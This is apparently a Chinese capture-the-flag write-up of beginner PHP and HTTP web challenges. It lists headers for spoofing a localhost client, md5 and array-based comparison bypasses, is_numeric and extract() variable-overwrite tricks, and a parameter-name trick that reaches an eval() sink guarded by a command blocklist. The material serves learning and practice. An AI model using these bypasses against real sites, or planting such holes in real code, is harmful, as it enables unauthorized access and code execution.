Web
week1
Begin of HTTP
这题最后一步有个本地用户伪造,这次不是用 xff 头了,是用的 X-Real-IP:127.0.0.1
然后这里有一些其他的伪造方法
X-Forwarded-For:127.0.0.1
X-Forwarded:127.0.0.1
Forwarded-For:127.0.0.1
Forwarded:127.0.0.1
X-Forwarded-Host:127.0.0.1
X-remote-IP:127.0.0.1
X-remote-addr:127.0.0.1
True-Client-IP:127.0.0.1
X-Client-IP:127.0.0.1
Client-IP:127.0.0.1
X-Real-IP:127.0.0.1
Ali-CDN-Real-IP:127.0.0.1
Cdn-Src-Ip:127.0.0.1
Cdn-Real-Ip:127.0.0.1
CF-Connecting-IP:127.0.0.1
X-Cluster-Client-IP:127.0.0.1
WL-Proxy-Client-IP:127.0.0.1
Proxy-Client-IP:127.0.0.1
Fastly-Client-Ip:127.0.0.1
True-Client-Ip:127.0.0.1
Host: 127.0.0.1
Begin of PHP
这是源码
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['key1']) && isset($_GET['key2'])){
echo "=Level 1=<br>";
if($_GET['key1'] !== $_GET['key2'] && md5($_GET['key1']) == md5($_GET['key2'])){
$flag1 = True;
}else{
die("nope,this is level 1");
}
}
if($flag1){
echo "=Level 2=<br>";
if(isset($_POST['key3'])){
if(md5($_POST['key3']) === sha1($_POST['key3'])){
$flag2 = True;
}
}else{
die("nope,this is level 2");
}
}
if($flag2){
echo "=Level 3=<br>";
if(isset($_GET['key4'])){
if(strcmp($_GET['key4'],file_get_contents("/flag")) == 0){
$flag3 = True;
}else{
die("nope,this is level 3");
}
}
}
if($flag3){
echo "=Level 4=<br>";
if(isset($_GET['key5'])){
if(!is_numeric($_GET['key5']) && $_GET['key5'] > 2023){
$flag4 = True;
}else{
die("nope,this is level 4");
}
}
}
if($flag4){
echo "=Level 5=<br>";
extract($_POST);
foreach($_POST as $var){
if(preg_match("/[a-zA-Z0-9]/",$var)){
die("nope,this is level 5");
}
}
if($flag5){
echo file_get_contents("/flag");
}else{
die("nope,this is level 5");
}
}
一共有五层
第一层是 md5 弱比较
用下面这些 0e 开头的字符串,比较的时候他们会被当作科学计数法结果为 0
QNKCDZO
240610708
byGcY
sonZ7y
aabg7XSs
aabC9RqS
s878926199a
s155964671a
s214587387a
s1091221200a
如果是强比较的话不能这样,可以用数组绕过
因为 md5()这个函数不接受数组,传数组的时候会被当成 null
比如
md5(a[]=1) === md5(b[]=1)
//就是null=null
然后如果后面的 md5 是强比较的话,就需要 md5 碰撞了
第二层是 md5 和 sha1 的比较
同样 sha1()函数也是不接受数组的,只需要传一个数组就可以实现 null=null
第三层是 strcmp 绕过
strcmp 是一个比较函数,在本题中是比较 key4 和/flag 是否相等,同样,当传入一个数组时这个函数就会报错并返回 0,使 if(0==0),为 true
适用于 5.3 版本前的 php
第四层是 is_numberic 绕过
is_numeric()是一个判断是不是数字的函数,题中需要这个判断为 false 然后还要大于 2024
可以通过这几种方法
2024’
2024,
2024%00
%002024
2024%20
2024.0(不行)
第五层是 extract 变量覆盖绕过
因为题目中有这段extract($_POST),所以让人想到变量覆盖,extract()这个函数的作用在 php 手册是这样说的
他还特意提醒了不要对用户输入的数据做这个操作呢
所以就是我们需要在绕过$var的正则表达式匹配的同时,将flag5变量覆盖,让他在 if 的判断里为 true
例如我们传入 key3[]=gggg&flag5=1111111111的话,$var就只会是gggg,但是如果是key=%&flag5=1111111111的话因为有foreach()函数他循环遍历$_POST 数组中的每个值,最终遍历到 flag5 然后 die()
所以我们不能通过前面传%来绕过后面的判断,我们只能去寻找无数字字母绕过
具体的可以看看这两篇文章
https://www.freebuf.com/articles/network/279563.html
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
这里我们可以通过取反的操作
<?php
$a='1';
echo urlencode(~$a);
//输出%CE
于是可以传key3[]=%&flag5=~%CE
好吧……其实不用取反也可以,只要 flag5 不是匹配的那些都可以,随便输一个符号就行,因为 php 的 if 的判断条件是
R!C!E!
<?php
highlight_file(__FILE__);
if(isset($_POST['password'])&&isset($_POST['e_v.a.l'])){
$password=md5($_POST['password']);
$code=$_POST['e_v.a.l'];
if(substr($password,0,6)==="c4d038"){
if(!preg_match("/flag|system|pass|cat|ls/i",$code)){
eval($code);
}
}
}
第一个 md5 需要爆破,0 到 6 位是 c4d038,可以用https://github.com/playGitboy/bruteHASH这个工具
然后只需要传password=yjzyejsmdmd就可以了
第二个就是要传e_v.a.l但是 php 的传参的变量只能是数字字母下划线,其他的会被当做非法变量,其中点号和等号会被转化为下划线
所以 e_v.a.l 在我们传上去的时候就会变成 e_v_a_l,那肯定不行,但是在 php8 以下的版本中有一个特性就是如果参数中有[中括号的时候,其会被转化为下划线,并且会出现错误让之后参数中的非法字符不能转化为下划线
于是我们就可以传一个e[v.a.l,然后它就会变成e_v.a.l,最后直接命令执行就好了